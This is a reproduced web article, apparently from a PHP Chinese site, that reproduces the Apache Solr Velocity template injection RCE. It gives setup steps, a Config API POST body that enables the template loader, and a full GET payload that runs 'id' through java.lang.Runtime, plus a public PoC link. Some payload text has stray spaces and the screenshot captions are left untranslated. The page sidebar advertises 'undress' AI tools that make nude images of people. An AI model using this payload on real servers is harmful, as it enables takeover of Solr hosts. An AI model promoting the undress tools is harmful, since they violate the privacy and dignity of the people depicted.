search
HomeOperation and MaintenanceSafetyExample analysis of Apache Solr velocity template injection RCE vulnerability

0x01 Introduction

Solr is an enterprise-level independent search application server that can provide services to the outside world through the Web service API interface. Users can submit XML files in a certain format to the search engine server through http requests to generate indexes; they can also make search requests through Http Get operations and get returned results in XML format. Apache Solr velocity模板注入RCE漏洞的示例分析

0x02 Vulnerability Introduction

The VelocityResponseWriter component exists in Solr. An attacker can construct a specific request to modify the relevant configuration so that the VelocityResponseWriter component allows Loading the specified template causes the Velocity template to inject a remote command execution vulnerability. An attacker can use this vulnerability to directly obtain server permissions.

0x03 Scope of impact

Apache Solr 5.x - 8.2.0, config API version

exists 0x04 Environment Construction

Install the java8 environment, and then download Solr, download address:

https://www.apache.org/dyn/closer.lua /lucene/solr/8.2.0/solr-8.2.0.zip

After downloading, decompress and enter the bin directory to execute./solr start

unzip solr-8.2.0.zip

Apache Solr velocity模板注入RCE漏洞的示例分析

Some warning messages will appear during startup. We can eliminate them by modifying the solr.in.sh file under bin and setting SOLR_ULIMIT_CHECKS to false

vim solr.in.sh

Apache Solr velocity模板注入RCE漏洞的示例分析

Then start again./solr start If root startup fails, add -force after itApache Solr velocity模板注入RCE漏洞的示例分析

Visit http://ip:8983 in the browser, and the following interface appears to indicate that the installation is successfulApache Solr velocity模板注入RCE漏洞的示例分析

But it is found that the core cannot be createdApache Solr velocity模板注入RCE漏洞的示例分析

We first manually install it in /server/solr Create a new_core folder in the / directory, then copy the conf directory under /server/solr/configsets/_default/ to the new_core directory, and then click CreateApache Solr velocity模板注入RCE漏洞的示例分析

0x05 vulnerability recurrence

After creating the Core, visit to see if the application config file can be accessed

http://ip:8983/solr/new_core/configApache Solr velocity模板注入RCE漏洞的示例分析

Apache Solr integrates the VelocityResponseWriter plug-in by default. The default value of params.resource.loader.enabled in the plug-in initialization parameter is set to false. However, the integration settings can be directly modified through a POST request, setting it to true, and then You can construct special GET requests to achieve remote code execution.

Use Burp to grab the package of this page, construct a POST request directly, and add the following data

{

"update-queryresponsewriter": {

" startup": "lazy",

"name": "velocity",

"class": "solr.VelocityResponseWriter",

"template.base.dir" : "",

"solr.resource.loader.enabled": "true",

"params.resource.loader.enabled": "true"

}

}

Apache Solr velocity模板注入RCE漏洞的示例分析

Next we can construct the payload to implement RCE

payload:

http:// ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=#set($x='') #set($rt=$x.class.forName('java.lang .Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) # set($ex=$rt.getRuntime().exec('id')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out .available()])$str.valueOf($chr.toChars($out.read()))#end

Apache Solr velocity模板注入RCE漏洞的示例分析

POC address: https://github. com/wyzxxz/Apache_Solr_RCE_via_Velocity_template

##0x06 Repair method

Update to the latest version

The above is the detailed content of Example analysis of Apache Solr velocity template injection RCE vulnerability. For more information, please follow other related articles on the PHP Chinese website!

Statement
This article is reproduced at:亿速云. If there is any infringement, please contact admin@php.cn delete

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

mPDF

mPDF

mPDF is a PHP library that can generate PDF files from UTF-8 encoded HTML. The original author, Ian Back, wrote mPDF to output PDF files "on the fly" from his website and handle different languages. It is slower than original scripts like HTML2FPDF and produces larger files when using Unicode fonts, but supports CSS styles etc. and has a lot of enhancements. Supports almost all languages, including RTL (Arabic and Hebrew) and CJK (Chinese, Japanese and Korean). Supports nested block-level elements (such as P, DIV),

SublimeText3 English version

SublimeText3 English version

Recommended: Win version, supports code prompts!

WebStorm Mac version

WebStorm Mac version

Useful JavaScript development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

SublimeText3 Linux new version

SublimeText3 Linux new version

SublimeText3 Linux latest version